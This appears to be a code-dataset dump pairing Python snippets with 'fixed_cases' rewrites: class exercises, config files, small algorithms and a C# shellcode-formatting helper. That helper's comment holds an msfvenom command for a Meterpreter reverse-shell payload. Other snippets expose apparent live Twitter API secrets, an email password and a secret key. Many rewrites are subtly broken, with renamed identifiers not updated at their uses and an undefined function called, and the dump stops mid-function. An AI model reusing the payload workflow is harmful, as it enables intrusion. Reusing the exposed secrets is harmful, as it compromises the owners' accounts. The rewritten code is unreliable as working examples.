content stringlengths 7 1.05M | fixed_cases stringlengths 1 1.28M |
|---|---|
# attributes are characteristics of an object defined in a "magic method" called __init__, which method is called when a new object is instantiated
class User: # declare a class and give it name User
def __init__(self):
self.name = "Steven"
self.email = "swm9220@gmail.com"
self.account_bala... | class User:
def __init__(self):
self.name = 'Steven'
self.email = 'swm9220@gmail.com'
self.account_balance = 0
guido = user()
monty = user()
print(guido.name)
print(monty.name)
guido.name = 'Guido'
monty.name = 'Monty'
class User:
def __init__(self, username, email_address):
s... |
# Algorithmic question
## Longest Palindromic Subsequence
# Given a string S, a subsequence s is obtained by combining characters in their order of appearance in S, whatever their position. The longest palindromic subsequence could be found checking all subsequences of a string, but that would take a running time of O... | def toolongpalindromic(S):
maxlen = 0
if len(S) <= 1:
return len(S)
if S[0] == S[-1]:
maxlen += 2 + toolongpalindromic(S[1:-1])
else:
maxlen += max(toolongpalindromic(S[:-1]), toolongpalindromic(S[1:]))
return maxlen
def substrings(S, l):
l = []
for i in range(len(S)... |
# import numpy as np
# import matplotlib.pyplot as plt
class TimeBlock:
def __init__(self,name,level,time,percentage):
self.name = name
self.level = int(level)
self.percentage = float(percentage)
self.time = float(time)
self.children = []
self.parent = []
def A... | class Timeblock:
def __init__(self, name, level, time, percentage):
self.name = name
self.level = int(level)
self.percentage = float(percentage)
self.time = float(time)
self.children = []
self.parent = []
def add_child(self, block):
self.children.append(... |
_base_ = [
'../../_base_/models/swin/swin_small.py', '../../_base_/default_runtime.py'
]
pretrained_path='pretrained/swin_small_patch244_window877_kinetics400_1k.pth'
model=dict(backbone=dict(patch_size=(2,4,4), drop_path_rate=0.1, pretrained2d=False, pretrained=pretrained_path),cls_head=dict(num_classes=2),test_c... | _base_ = ['../../_base_/models/swin/swin_small.py', '../../_base_/default_runtime.py']
pretrained_path = 'pretrained/swin_small_patch244_window877_kinetics400_1k.pth'
model = dict(backbone=dict(patch_size=(2, 4, 4), drop_path_rate=0.1, pretrained2d=False, pretrained=pretrained_path), cls_head=dict(num_classes=2), test_... |
permissions_admin = {}
permissions_kigstn = {}
permissions_socialist = {}
# todo
| permissions_admin = {}
permissions_kigstn = {}
permissions_socialist = {} |
# Definition for a binary tree node.
"""
timecomplexity = O(n)
when construct the maximun tree, use a stack to protect the cur element which can be joined to the tree as its sequence
for example
[3,2,1,6,0,5]
if cur < = stack.pop
add next into stack and let cur be pop's rightnode
else pop the element from stack un... | """
timecomplexity = O(n)
when construct the maximun tree, use a stack to protect the cur element which can be joined to the tree as its sequence
for example
[3,2,1,6,0,5]
if cur < = stack.pop
add next into stack and let cur be pop's rightnode
else pop the element from stack until stack is empty or the element in ... |
print("Python has three numeric types: int, float, and complex")
myValue=1
print(myValue)
print(type(myValue))
print(str(myValue) + " is of the data type " + str(type(myValue)))
myValue=3.14
print(myValue)
print(type(myValue))
print(str(myValue) + " is of the data type " + str(type(myValue)))
myValue=5j
print(myValue)
... | print('Python has three numeric types: int, float, and complex')
my_value = 1
print(myValue)
print(type(myValue))
print(str(myValue) + ' is of the data type ' + str(type(myValue)))
my_value = 3.14
print(myValue)
print(type(myValue))
print(str(myValue) + ' is of the data type ' + str(type(myValue)))
my_value = 5j
print(... |
N=int(input("numero? "))
if N % 2 == 0:
valor = False
else:
valor = True
i=3
while valor and i <= N-1:
valor=valor and (N % i != 0)
i = i + 2
print(valor)
| n = int(input('numero? '))
if N % 2 == 0:
valor = False
else:
valor = True
i = 3
while valor and i <= N - 1:
valor = valor and N % i != 0
i = i + 2
print(valor) |
#!/usr/bin/env python
EXAMPLE = """class: 1-3 or 5-7
row: 6-11 or 33-44
seat: 13-40 or 45-50
your ticket:
7,1,14
nearby tickets:
7,3,47
40,4,50
55,2,20
38,6,12
"""
def parse_input(text):
"""Meh
>>> parse_input(EXAMPLE)
({'class': [(1, 3), (5, 7)], 'row': [(6, 11), (33, 44)], 'seat': [(13, 40), (45, 50)... | example = 'class: 1-3 or 5-7\nrow: 6-11 or 33-44\nseat: 13-40 or 45-50\n\nyour ticket:\n7,1,14\n\nnearby tickets:\n7,3,47\n40,4,50\n55,2,20\n38,6,12\n'
def parse_input(text):
"""Meh
>>> parse_input(EXAMPLE)
({'class': [(1, 3), (5, 7)], 'row': [(6, 11), (33, 44)], 'seat': [(13, 40), (45, 50)]}, [7, 1, 14], ... |
NSNAM_CODE_BASE_URL = "http://code.nsnam.org/"
PYBINDGEN_BRANCH = 'https://launchpad.net/pybindgen'
LOCAL_PYBINDGEN_PATH = 'pybindgen'
#
# The last part of the path name to use to find the regression traces tarball.
# path will be APPNAME + '-' + VERSION + REGRESSION_SUFFIX + TRACEBALL_SUFFIX,
# e.g., ns-3-dev-ref-tr... | nsnam_code_base_url = 'http://code.nsnam.org/'
pybindgen_branch = 'https://launchpad.net/pybindgen'
local_pybindgen_path = 'pybindgen'
traceball_suffix = '.tar.bz2'
netanim_repo = 'http://code.nsnam.org/netanim'
netanim_release_url = 'http://www.nsnam.org/tools/netanim'
local_netanim_path = 'netanim'
bake_repo = 'http:... |
class Person:
def __init__(self, person_id, name):
self.person_id = person_id
self.name = name
self.first_page = None
self.last_pages = []
class Link:
def __init__(self, current_page_number, person=None, colour_id=None, image_id=None, group_id=None):
self.current_page_... | class Person:
def __init__(self, person_id, name):
self.person_id = person_id
self.name = name
self.first_page = None
self.last_pages = []
class Link:
def __init__(self, current_page_number, person=None, colour_id=None, image_id=None, group_id=None):
self.current_page_... |
#!/usr/bin/env python
# Put non-encoded C# payload below.
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.229.129 LPORT=2600 -f csharp
# Put only byte payload below
payload = []
def cspretty(buf_payload):
"""
Take in list of hex bytes and make the appropriate format for C# code.
"""
bu... | payload = []
def cspretty(buf_payload):
"""
Take in list of hex bytes and make the appropriate format for C# code.
"""
buf_len = str(len(buf_payload))
print('\npublic static byte [] shellcode = new byte[%s] {%s};' % (buf_len, ','.join(buf_payload)))
print('\n\n\t[+} Replace the shelcode buffer ... |
page_01="""
{
"title": "September 27th, 2020",
"children": [
{
"string": "I'm exploring Roam. At present it looks like the application I have been looking for (and wanting to build) for decades!",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601199052228,
"... | page_01 = '\n {\n "title": "September 27th, 2020",\n "children": [\n {\n "string": "I\'m exploring Roam. At present it looks like the application I have been looking for (and wanting to build) for decades!",\n "create-email": "romilly.cocking@gmail.com",\n "create-time": 1601199052228,\n... |
class KeyHolder():
key = "(_e0p73$co#nse*^-(3b60(f*)6h1bmaaada@kleyb)pj5=1)6"
email_user = 'HuntAdminLototron'
email_password = '0a4c9be34e616e91c9516fdd07bf7de2'
| class Keyholder:
key = '(_e0p73$co#nse*^-(3b60(f*)6h1bmaaada@kleyb)pj5=1)6'
email_user = 'HuntAdminLototron'
email_password = '0a4c9be34e616e91c9516fdd07bf7de2' |
A = Matrix([[1, 2], [-2, 1]])
A.is_positive_definite
# True
A.is_positive_semidefinite
# True
p = plot3d((x.T*A*x)[0, 0], (a, -1, 1), (b, -1, 1))
| a = matrix([[1, 2], [-2, 1]])
A.is_positive_definite
A.is_positive_semidefinite
p = plot3d((x.T * A * x)[0, 0], (a, -1, 1), (b, -1, 1)) |
"""
Morse code, as we are all aware, consists of dots and dashes. Lets define a "Morse code sequence" as simply a series of
dots and dashes (and nothing else). So ".--.-.--" would be a morse code sequence, for instance.
Dashes obviously take longer to transmit, that's what makes them dashes. Lets say that a dot takes ... | """
Morse code, as we are all aware, consists of dots and dashes. Lets define a "Morse code sequence" as simply a series of
dots and dashes (and nothing else). So ".--.-.--" would be a morse code sequence, for instance.
Dashes obviously take longer to transmit, that's what makes them dashes. Lets say that a dot takes ... |
top_html = """<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></meta>
</head>
<frameset cols="20%,*">
<frame src="tree.xml"/>
<frame src="plotter.xml"/>
</frameset>
</html>
""" | top_html = '<html>\n\n<head>\n<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></meta>\n</head>\n\n<frameset cols="20%,*">\n\t<frame src="tree.xml"/>\n\t<frame src="plotter.xml"/>\n</frameset>\n\n</html>\n' |
def gitignore_content() -> str:
return """
lib
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
# Runtime data
pids
*.pid
*.seed
*.pid.lock
# Directory for instrumented libs generat... | def gitignore_content() -> str:
return "\nlib\n\n# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\nlerna-debug.log*\n\n# Diagnostic reports (https://nodejs.org/api/report.html)\nreport.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json\n\n# Runtime data\npids\n*.pid\n*.seed\n*.pid.lock\n\n# Directory for instrum... |
# x, y: arguments
x = 2
y = 3
# a, b: parameters
def function(a, b):
print(a, b)
function(x, y)
# default arguments
def function2(a, b=None):
if b:
print(a, b)
else:
print(a)
function2(x)
function2(x, b=y) # bei default parametern immer variable= -> besser lesbar
# Funktionen ohne retu... | x = 2
y = 3
def function(a, b):
print(a, b)
function(x, y)
def function2(a, b=None):
if b:
print(a, b)
else:
print(a)
function2(x)
function2(x, b=y) |
class LogMessage:
text = "EMPTY"
stack = 1 # for more than one equal message in a row
replaceable = False
color = (200, 200, 200)
def __init__(self, text, replaceable=False, color=(200, 200, 200)):
self.text = text
self.replaceable = replaceable
self.color = color
| class Logmessage:
text = 'EMPTY'
stack = 1
replaceable = False
color = (200, 200, 200)
def __init__(self, text, replaceable=False, color=(200, 200, 200)):
self.text = text
self.replaceable = replaceable
self.color = color |
cfiles = {"train_features":'./legacy_tests/data/class_train.features',
"train_labels":'./legacy_tests/data/class_train.labels',
"test_features":'./legacy_tests/data/class_test.features',
"test_labels":'./legacy_tests/data/class_test.labels'}
... | cfiles = {'train_features': './legacy_tests/data/class_train.features', 'train_labels': './legacy_tests/data/class_train.labels', 'test_features': './legacy_tests/data/class_test.features', 'test_labels': './legacy_tests/data/class_test.labels'}
rfiles = {'train_features': './legacy_tests/data/reg_train.features', 'tra... |
class Solution:
def findAnagrams(self, s: str, p: str) -> List[int]:
if len(s) < len(p):
return []
sl = []
ans = []
pl =[0]*26
for i in p:
pl[ord(i)-97]+=1
for ix, i in enumerate(s):
if not sl: ... | class Solution:
def find_anagrams(self, s: str, p: str) -> List[int]:
if len(s) < len(p):
return []
sl = []
ans = []
pl = [0] * 26
for i in p:
pl[ord(i) - 97] += 1
for (ix, i) in enumerate(s):
if not sl:
sl = [0] * ... |
#!/usr/bin/env python3
s = '{19}'
print('s is:', s)
n = s[2:-1]
print(n)
# make n=20 copies of '1':
# idea: use a loop
def make_N_copies_of_1(s):
n = s[2:-1] # number of copies
i = 0
result = ''
while i < int(n):
result += '1'
i += 1
return result
print(make_20_copies_of_1(s))
| s = '{19}'
print('s is:', s)
n = s[2:-1]
print(n)
def make_n_copies_of_1(s):
n = s[2:-1]
i = 0
result = ''
while i < int(n):
result += '1'
i += 1
return result
print(make_20_copies_of_1(s)) |
# Usage: python3 l2bin.py
source = open('MCZ.PROM.78089.L', 'r')
dest = open('MCZ.PROM.78089.BIN', 'wb')
next = 0
for line in source:
# Useful lines are like: 0013 210000
if len(line) >= 8 and line[0] != ' ' and line[7] != ' ':
parts = line.split()
try:
address = int(parts[0], 16)... | source = open('MCZ.PROM.78089.L', 'r')
dest = open('MCZ.PROM.78089.BIN', 'wb')
next = 0
for line in source:
if len(line) >= 8 and line[0] != ' ' and (line[7] != ' '):
parts = line.split()
try:
address = int(parts[0], 16)
code = bytes.fromhex(parts[1])
while next <... |
#encoding:utf-8
subreddit = 'cyberpunkgame+LowSodiumCyberpunk'
t_channel = '@r_cyberpunk2077'
def send_post(submission, r2t):
return r2t.send_simple(submission)
| subreddit = 'cyberpunkgame+LowSodiumCyberpunk'
t_channel = '@r_cyberpunk2077'
def send_post(submission, r2t):
return r2t.send_simple(submission) |
global_var = 0
def outter():
def inner():
global global_var
global_var = 10
inner()
outter()
print(global_var) | global_var = 0
def outter():
def inner():
global global_var
global_var = 10
inner()
outter()
print(global_var) |
# 0 - establish connection
# 1 - service number 1
# 2 - service number 2
# 3 - service number 3
# 4 - service number 4
# 5 - non-idempotent service - check number of flights
# 6 - idempotent service - give this information service a like and retrieve how many likes this system has
# 11 - int
# 12 - string
# 13 - date-... | int = 11
str = 12
date = 13
fp = 14
fli = 15
at_least_once = 100
at_most_once = 101
error = 126 |
def f(n):
max_even=len(str(n))-1
if str(n)[0]=="1":
max_even-=1
for i in range(n-1, -1, -1):
if i%2==0 or i%3==0:
continue
if count_even(i)<max_even:
continue
if isPrime(i):
return i
def isPrime(n):
for i in range(2, int(n**0.5)+1):
... | def f(n):
max_even = len(str(n)) - 1
if str(n)[0] == '1':
max_even -= 1
for i in range(n - 1, -1, -1):
if i % 2 == 0 or i % 3 == 0:
continue
if count_even(i) < max_even:
continue
if is_prime(i):
return i
def is_prime(n):
for i in range... |
# testing the num_cells computation
def compute_num_cells(max_delta_x, pt0x, pt1x):
"""compute the number of blocks associated with the max_delta_x for the largest spatial step (combustion chamber)
Args:
max_delta_x (double): User defined maximum grid spacing.
pt0x (double): x-coordinate of botto... | def compute_num_cells(max_delta_x, pt0x, pt1x):
"""compute the number of blocks associated with the max_delta_x for the largest spatial step (combustion chamber)
Args:
max_delta_x (double): User defined maximum grid spacing.
pt0x (double): x-coordinate of bottom LHS cookstove combustion chamber
pt1... |
# We have to find no of numbers between range (a,b) which has consecutive set bits.
# Hackerearth
n, q = map(int, input().split())
arr = list(map(int, input().split()))
for k in range(n):
l, h = map(int, input().split())
count = 0
for i in range(l-1, h):
if "11" in bin(arr[i]):
count+=1
print(count) | (n, q) = map(int, input().split())
arr = list(map(int, input().split()))
for k in range(n):
(l, h) = map(int, input().split())
count = 0
for i in range(l - 1, h):
if '11' in bin(arr[i]):
count += 1
print(count) |
# Twitter API Keys
#Given
# consumer_key = "Ed4RNulN1lp7AbOooHa9STCoU"
# consumer_secret = "P7cUJlmJZq0VaCY0Jg7COliwQqzK0qYEyUF9Y0idx4ujb3ZlW5"
# access_token = "839621358724198402-dzdOsx2WWHrSuBwyNUiqSEnTivHozAZ"
# access_token_secret = "dCZ80uNRbFDjxdU2EckmNiSckdoATach6Q8zb7YYYE5ER"
#Generated on June 21st 2018
# ... | consumer_key = 'n9WXASBiuLis9IxX0KE6VqWLN'
consumer_secret = 'FqJmd8cCiFhX4tKr91xAJoBL0s5xxp9lmv3czEW84mT3jsLCj7'
access_token = '1009876849122521089-Sok0ZuMt7EYOLucBhgyDefaQlYJkXX'
access_token_secret = 'IDt79lugJ9rsqa9n9Oly38Xr4rvFlrSzRWb0quPxJNnUg' |
numbers = input().split(" ")
max_number = ''
biggest = sorted(numbers, reverse = True)
for num in biggest:
max_number += num
print(max_number) | numbers = input().split(' ')
max_number = ''
biggest = sorted(numbers, reverse=True)
for num in biggest:
max_number += num
print(max_number) |
##########################################################################
# Author: Samuca
#
# brief: change and gives information about a string
#
# this is a list exercise available on youtube:
# https://www.youtube.com/playlist?list=PLHz_AreHm4dm6wYOIW20Nyg12TAjmMGT-
##############################################... | name = str(input('Write down your name: ')).strip()
print('analysing your name...')
print('It in Upper: {}'.format(name.upper()))
print('It in Lower: {}'.format(name.lower()))
print('Number of letters: {}'.format(len(name) - name.count(' ')))
sep = name.split()
print(sep)
print('Yout first name is {}, it has {} letters... |
end_line_chars = (".", ",", ";", ":", "!", "?", "-")
def split_into_blocks(text, line_length, block_size):
words = text.strip("\n").split()
current_line = ""
lines = []
blocks = []
char_counter = 0
for i, word in enumerate(words): # check every word
if len(lines) < (block_size - 1): ... | end_line_chars = ('.', ',', ';', ':', '!', '?', '-')
def split_into_blocks(text, line_length, block_size):
words = text.strip('\n').split()
current_line = ''
lines = []
blocks = []
char_counter = 0
for (i, word) in enumerate(words):
if len(lines) < block_size - 1:
if char_co... |
#Set the request parameters
url = 'https://instanceName.service-now.com/api/now/table/sys_script'
#Eg. User name="username", Password="password" for this code sample.
user = 'yourUserName'
pwd = 'yourPassword'
#Set proper headers
headers = {"Content-Type":"application/json","Accept":"application/json"}
# Set Business... | url = 'https://instanceName.service-now.com/api/now/table/sys_script'
user = 'yourUserName'
pwd = 'yourPassword'
headers = {'Content-Type': 'application/json', 'Accept': 'application/json'}
post_business_rule = '{\r\n "abort_action": "false",\r\n "access": "package_private",\r\n "action_delete": "false",... |
{
'targets' : [{
'variables': {
'lib_root' : '../libio',
},
'target_name' : 'fake',
'sources' : [
],
'dependencies' : [
'./export.gyp:export',
],
}]
}
| {'targets': [{'variables': {'lib_root': '../libio'}, 'target_name': 'fake', 'sources': [], 'dependencies': ['./export.gyp:export']}]} |
#!/usr/bin/env python3
"""Binary Search Tree."""
class Node:
"""Node for Binary Tree."""
def __init__(self, value, left=None, right=None, root=True):
"""Node for Binary Search Tree.
value - Value to be stored in the tree node.
left node - default value is None.
right node - ... | """Binary Search Tree."""
class Node:
"""Node for Binary Tree."""
def __init__(self, value, left=None, right=None, root=True):
"""Node for Binary Search Tree.
value - Value to be stored in the tree node.
left node - default value is None.
right node - default value is None.
... |
#
# PySNMP MIB module AT-PVSTPM-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/AT-PVSTPM-MIB
# Produced by pysmi-0.3.4 at Wed May 1 11:30:33 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 201... | (octet_string, object_identifier, integer) = mibBuilder.importSymbols('ASN1', 'OctetString', 'ObjectIdentifier', 'Integer')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(single_value_constraint, value_size_constraint, value_range_constraint, constraints_union, constraints_intersection) ... |
class ShiftCipher:
def __init__(self, affineMultiplier, constantShift):
self.affineMultiplier = affineMultiplier
self.constantShift = constantShift
def encode(self, messageInList):
for i in range(len(messageInList)):
if ord(messageInList[i])!=32:
messageInLis... | class Shiftcipher:
def __init__(self, affineMultiplier, constantShift):
self.affineMultiplier = affineMultiplier
self.constantShift = constantShift
def encode(self, messageInList):
for i in range(len(messageInList)):
if ord(messageInList[i]) != 32:
messageIn... |
all_nums = []
for i in range(10, 1000000):
total = 0
for l in str(i):
total += int(l) ** 5
if int(total) == int(i):
all_nums.append(int(total))
print(sum(all_nums)) | all_nums = []
for i in range(10, 1000000):
total = 0
for l in str(i):
total += int(l) ** 5
if int(total) == int(i):
all_nums.append(int(total))
print(sum(all_nums)) |
def do(self):
self.components.Open.label="Open"
self.components.Delete.label="Delete"
self.components.Duplicate.label="Duplicate"
self.components.Run.label="Run"
self.components.Files.text="Files"
self.components.Call.label="Call"
| def do(self):
self.components.Open.label = 'Open'
self.components.Delete.label = 'Delete'
self.components.Duplicate.label = 'Duplicate'
self.components.Run.label = 'Run'
self.components.Files.text = 'Files'
self.components.Call.label = 'Call' |
# 3rd question
# 12 se 421 takkk k sare no. ka sum print kre.
# akshra=12
# sum=0
# while akshra<=421:
# sum=sum+akshra
# print(s)
# akshra=akshra+1
# 4th question
# 30 se 420 se vo no. print kro jo 8 se devied ho
# var=30
# while var<=420:
# if var%8==0:
# print(var)
# ... | n = 6
s = 0
i = 1
while i <= n:
s = s + i
i = i + 1
print(s) |
# Copyright (C) 2018 Google Inc.
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
"""Module contains Access Control Role names related to TaskGroupTask model."""
ASSIGNEE_NAME = "Task Assignees"
SECONDARY_ASSIGNEE_NAME = "Task Secondary Assignees"
| """Module contains Access Control Role names related to TaskGroupTask model."""
assignee_name = 'Task Assignees'
secondary_assignee_name = 'Task Secondary Assignees' |
# Project Euler Problem 5
######################################
# Find smallest pos number that is
# evenly divisible by all numbers from
# 1 to 20
######################################
#essentially getting the lcm of several numbers
# formula for lcm is lcm(a,b) = a*b / gcd(a,b)
def gcd(a, b):
assert type(a) i... | def gcd(a, b):
assert type(a) is int, 'arg1 non int'
assert type(b) is int, 'arg2 non int'
if a < b:
while a:
(b, a) = (a, b % a)
return b
else:
while b:
(a, b) = (b, a % b)
return a
def gcd_test():
print(gcd(1, 1))
print(gcd(5, 35))
p... |
print('hello world')
print("hello world")
print("hello \nworld")
print("hello \tworld")
print('length=',len('hello')) # len returns the length of the string
mystring="python" # assigning value python to variable mystring
print(mystring) # it returns python
# Indexing
print('the element at Index[0]=',m... | print('hello world')
print('hello world')
print('hello \nworld')
print('hello \tworld')
print('length=', len('hello'))
mystring = 'python'
print(mystring)
print('the element at Index[0]=', mystring[0])
print('the element at Index[3]=', mystring[3])
print('the elements starting at Index[0] and it goes upto Index[4]', my... |
# -*- coding: utf-8 -*-
def main():
a, b = map(int, input().split())
if a + 0.5 - b > 0:
print(1)
else:
print(0)
if __name__ == '__main__':
main()
| def main():
(a, b) = map(int, input().split())
if a + 0.5 - b > 0:
print(1)
else:
print(0)
if __name__ == '__main__':
main() |
"""This file is imported in both train.py and predict.py
to find the models path.
"""
# root directory to save models
## for running locally
MODELS_DIR = "models"
## for remote deploy
# MODELS_DIR = "/volumes/data"
| """This file is imported in both train.py and predict.py
to find the models path.
"""
models_dir = 'models' |
values = input("Please fill value:")
result = []
for value in values :
if str(value).isdigit() :
dec = int(value)
if dec % 2 != 0 :
result.append(dec)
print(result)
print(len(result)) | values = input('Please fill value:')
result = []
for value in values:
if str(value).isdigit():
dec = int(value)
if dec % 2 != 0:
result.append(dec)
print(result)
print(len(result)) |
class ClientException(Exception):
"""The base exception for everything to do with clients."""
message = None
def __init__(self, status_code=None, message=None):
self.status_code = status_code
if not message:
if self.message:
message = self.message
els... | class Clientexception(Exception):
"""The base exception for everything to do with clients."""
message = None
def __init__(self, status_code=None, message=None):
self.status_code = status_code
if not message:
if self.message:
message = self.message
els... |
class Instrument:
def __init__(self,
exchange_name,
instmt_name,
instmt_code,
**param):
self.exchange_name = exchange_name
self.instmt_name = instmt_name
self.instmt_code = instmt_code
self.instmt_snapshot_table_name... | class Instrument:
def __init__(self, exchange_name, instmt_name, instmt_code, **param):
self.exchange_name = exchange_name
self.instmt_name = instmt_name
self.instmt_code = instmt_code
self.instmt_snapshot_table_name = ''
def get_exchange_name(self):
return self.exchang... |
class NoProjectYaml(Exception):
pass
class NoDockerfile(Exception):
pass
class CheckCallFailed(Exception):
pass
class WaitLinkFailed(Exception):
pass
| class Noprojectyaml(Exception):
pass
class Nodockerfile(Exception):
pass
class Checkcallfailed(Exception):
pass
class Waitlinkfailed(Exception):
pass |
class Role:
def __init__(self, data):
self.data = data
@property
def id(self):
return self.data["id"]
@property
def name(self):
return self.data["name"]
@classmethod
def from_dict(cls, data):
return cls(data)
| class Role:
def __init__(self, data):
self.data = data
@property
def id(self):
return self.data['id']
@property
def name(self):
return self.data['name']
@classmethod
def from_dict(cls, data):
return cls(data) |
__author__ = "Abdul Dakkak"
__email__ = "dakkak@illinois.edu"
__license__ = "Apache 2.0"
__version__ = "0.2.4"
| __author__ = 'Abdul Dakkak'
__email__ = 'dakkak@illinois.edu'
__license__ = 'Apache 2.0'
__version__ = '0.2.4' |
# -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
#
# FreeType high-level python API - Copyright 2011-2015 Nicolas P. Rougier
# Distributed under the terms of the new BSD license.
#
# -----------------------------------------------------------------------------
""... | """
An enumeration type that lists the render modes supported by FreeType 2. Each
mode corresponds to a specific type of scanline conversion performed on the
outline.
FT_PIXEL_MODE_NONE
Value 0 is reserved.
FT_PIXEL_MODE_MONO
A monochrome bitmap, using 1 bit per pixel. Note that pixels are stored in
most-si... |
def sum(arr):
if len(arr) == 0:
return 0
return arr[0] + sum(arr[1:])
if __name__ == '__main__':
arr = [1,2,3,4,5,6,7,8]
print('Test arr: %s' % arr)
print('sum = %s' % sum(arr)) | def sum(arr):
if len(arr) == 0:
return 0
return arr[0] + sum(arr[1:])
if __name__ == '__main__':
arr = [1, 2, 3, 4, 5, 6, 7, 8]
print('Test arr: %s' % arr)
print('sum = %s' % sum(arr)) |
#!/usr/bin/env python3
file = 'input.txt'
with open(file) as f:
input = f.read().splitlines()
def more_ones(list, truth):
data = []
for i in range(0, len(list[0])):
more_ones = sum([1 for x in list if x[i] == '1']) >= sum([1 for x in list if x[i] == '0'])
if more_ones:
if trut... | file = 'input.txt'
with open(file) as f:
input = f.read().splitlines()
def more_ones(list, truth):
data = []
for i in range(0, len(list[0])):
more_ones = sum([1 for x in list if x[i] == '1']) >= sum([1 for x in list if x[i] == '0'])
if more_ones:
if truth:
data.a... |
class Config(object):
MONGO_URI = 'mongodb://172.17.0.2:27017/bibtexreader'
MONGO_HOST = 'mongodb://172.17.0.2:27017'
DB_NAME = 'bibtexreader'
BIB_DIR = 'bibtexfiles' | class Config(object):
mongo_uri = 'mongodb://172.17.0.2:27017/bibtexreader'
mongo_host = 'mongodb://172.17.0.2:27017'
db_name = 'bibtexreader'
bib_dir = 'bibtexfiles' |
DATABASES = {
'default': {
'NAME': ':memory:',
'ENGINE': 'django.db.backends.sqlite3',
}
}
SECRET_KEY = 'secret'
INSTALLED_APPS = (
'django_nose',
)
TEST_RUNNER = 'django_nose.NoseTestSuiteRunner'
NOSE_ARGS = (
'stopwatch',
'--verbosity=2',
'--nologcapture',
'--with-doctest',... | databases = {'default': {'NAME': ':memory:', 'ENGINE': 'django.db.backends.sqlite3'}}
secret_key = 'secret'
installed_apps = ('django_nose',)
test_runner = 'django_nose.NoseTestSuiteRunner'
nose_args = ('stopwatch', '--verbosity=2', '--nologcapture', '--with-doctest', '--with-coverage', '--cover-package=stopwatch', '--... |
def dfs(self):
"""
Computes the initial source vertices for each connected component
and the parents for each vertex as determined through depth-first-search
:return: initial source vertices for each connected component, parents for each vertex
:rtype: set, dict
"""
parents = {}
comp... | def dfs(self):
"""
Computes the initial source vertices for each connected component
and the parents for each vertex as determined through depth-first-search
:return: initial source vertices for each connected component, parents for each vertex
:rtype: set, dict
"""
parents = {}
componen... |
__author__ = "Brett Fitzpatrick"
__version__ = "0.1"
__license__ = "MIT"
__status__ = "Development"
| __author__ = 'Brett Fitzpatrick'
__version__ = '0.1'
__license__ = 'MIT'
__status__ = 'Development' |
input = """
a v b.
a :- b.
b :- a.
"""
output = """
{a, b}
"""
| input = '\na v b.\na :- b.\nb :- a.\n'
output = '\n{a, b}\n' |
_base_ = './hv_pointpillars_fpn_nus.py'
# model settings (based on nuScenes model settings)
# Voxel size for voxel encoder
# Usually voxel size is changed consistently with the point cloud range
# If point cloud range is modified, do remember to change all related
# keys in the config.
model = dict(
pts_voxel_laye... | _base_ = './hv_pointpillars_fpn_nus.py'
model = dict(pts_voxel_layer=dict(max_num_points=20, point_cloud_range=[-100, -100, -5, 100, 100, 3], max_voxels=(60000, 60000)), pts_voxel_encoder=dict(feat_channels=[64], point_cloud_range=[-100, -100, -5, 100, 100, 3]), pts_middle_encoder=dict(output_shape=[800, 800]), pts_bbo... |
"""__init__.py - Various utilities to use throughout the system."""
def serialize_sqla(data):
"""Serialiation function to serialize any dicts or lists containing
sqlalchemy objects. This is needed for conversion to JSON format."""
# If has to_dict this is asumed working and it is used.
if hasattr(data... | """__init__.py - Various utilities to use throughout the system."""
def serialize_sqla(data):
"""Serialiation function to serialize any dicts or lists containing
sqlalchemy objects. This is needed for conversion to JSON format."""
if hasattr(data, 'to_dict'):
return data.to_dict()
if hasattr(da... |
"""
Sams Teach Yourself Python in 24 Hours
by Katie Cunningham
Hour 5: Processing Input and Output
Exercise:
1.
a) Ask for user input of an item, the number being purchased,
and the cost of the item. Then prit out the total and
thnak the user for shopping with you. Output should
... | """
Sams Teach Yourself Python in 24 Hours
by Katie Cunningham
Hour 5: Processing Input and Output
Exercise:
1.
a) Ask for user input of an item, the number being purchased,
and the cost of the item. Then prit out the total and
thnak the user for shopping with you. Output should
... |
# Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
{
'variables': {
'chromium_code': 1,
},
'includes': [
'../build/win_precompile.gypi',
],
'targets': [
{
'target_name': 'check_... | {'variables': {'chromium_code': 1}, 'includes': ['../build/win_precompile.gypi'], 'targets': [{'target_name': 'check_sdk_patch', 'type': 'none', 'variables': {'check_sdk_script': 'util/check_sdk_patch.py', 'output_path': '<(INTERMEDIATE_DIR)/check_sdk_patch'}, 'actions': [{'action_name': 'check_sdk_patch_action', 'inpu... |
class Solution:
def maxSlidingWindow(self, nums, k):
deq, n, ans = deque([0]), len(nums), []
for i in range (n):
while deq and deq[0] <= i - k:
deq.popleft()
while deq and nums[i] >= nums[deq[-1]] :
deq.pop()
deq.append(i)
... | class Solution:
def max_sliding_window(self, nums, k):
(deq, n, ans) = (deque([0]), len(nums), [])
for i in range(n):
while deq and deq[0] <= i - k:
deq.popleft()
while deq and nums[i] >= nums[deq[-1]]:
deq.pop()
deq.append(i)
... |
TEXT_BLACK = "\033[0;30;40m"
TEXT_RED = "\033[1;31;40m"
TEXT_GREEN = "\033[1;32;40m"
TEXT_YELLOW = "\033[1;33;40m"
TEXT_WHITE = "\033[1;37;40m"
TEXT_BLUE = "\033[1;34;40m"
TEXT_RESET = "\033[0;0m"
def get_color(ctype):
if ctype == 'yellow':
color = TEXT_YELLOW
elif ctype == 'green':
colo... | text_black = '\x1b[0;30;40m'
text_red = '\x1b[1;31;40m'
text_green = '\x1b[1;32;40m'
text_yellow = '\x1b[1;33;40m'
text_white = '\x1b[1;37;40m'
text_blue = '\x1b[1;34;40m'
text_reset = '\x1b[0;0m'
def get_color(ctype):
if ctype == 'yellow':
